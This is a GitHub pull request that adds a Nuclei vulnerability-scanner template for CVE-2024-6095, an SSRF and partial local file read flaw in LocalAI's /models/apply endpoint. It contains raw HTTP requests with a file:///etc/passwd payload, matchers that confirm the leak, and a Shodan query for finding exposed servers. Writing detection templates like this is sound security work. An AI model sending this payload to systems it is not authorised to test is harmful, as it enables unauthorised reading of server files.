Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Create CVE-2024-6095.yaml #10593

Merged
merged 3 commits into from
Aug 24, 2024
Merged
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
67 changes: 67 additions & 0 deletions http/cves/2024/CVE-2024-6095.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,67 @@
id: CVE-2024-6095

info:
name: LocalAI - Partial Local File Read
author: iamnoooob,pdresearch,rootxharsh
severity: medium
description: |
A vulnerability in the /models/apply endpoint of mudler/localai versions 2.15.0 allows for Server-Side Request Forgery (SSRF) and partial Local File Inclusion (LFI). The endpoint supports both http(s)-// and file-// schemes, where the latter can lead to LFI. However, the output is limited due to the length of the error message. This vulnerability can be exploited by an attacker with network access to the LocalAI instance, potentially allowing unauthorized access to internal HTTP(s) servers and partial reading of local files. The issue is fixed in version 2.17.
reference:
- https://github.com/fkie-cad/nvd-json-data-feeds
- https://github.com/sev-hack/sev-hack
- https://nvd.nist.gov/vuln/detail/CVE-2024-6095
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N
cvss-score: 5.8
cve-id: CVE-2024-6095
cwe-id: CWE-918
epss-score: 0.00046
epss-percentile: 0.17714
cpe: cpe:2.3:a:mudler:localai:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 2
vendor: mudler
product: localai
shodan-query: http.favicon.hash:-976853304
tags: cve,cve2024,localai,mudler,lfi

flow: http(1) && http(2)

http:
- raw:
- |
POST /models/apply HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json

{"url":"file:///etc/passwd"}

extractors:
- type: json
part: body
name: uuid
internal: true
json:
- ".uuid"

- raw:
- |
GET /models/jobs/{{uuid}} HTTP/1.1
Host: {{Hostname}}

matchers-condition: and
matchers:
- type: word
part: body
words:
- ': cannot unmarshal !!str `root:x:...`'

- type: word
part: content_type
words:
- 'application/json'

- type: status
status:
- 200
Loading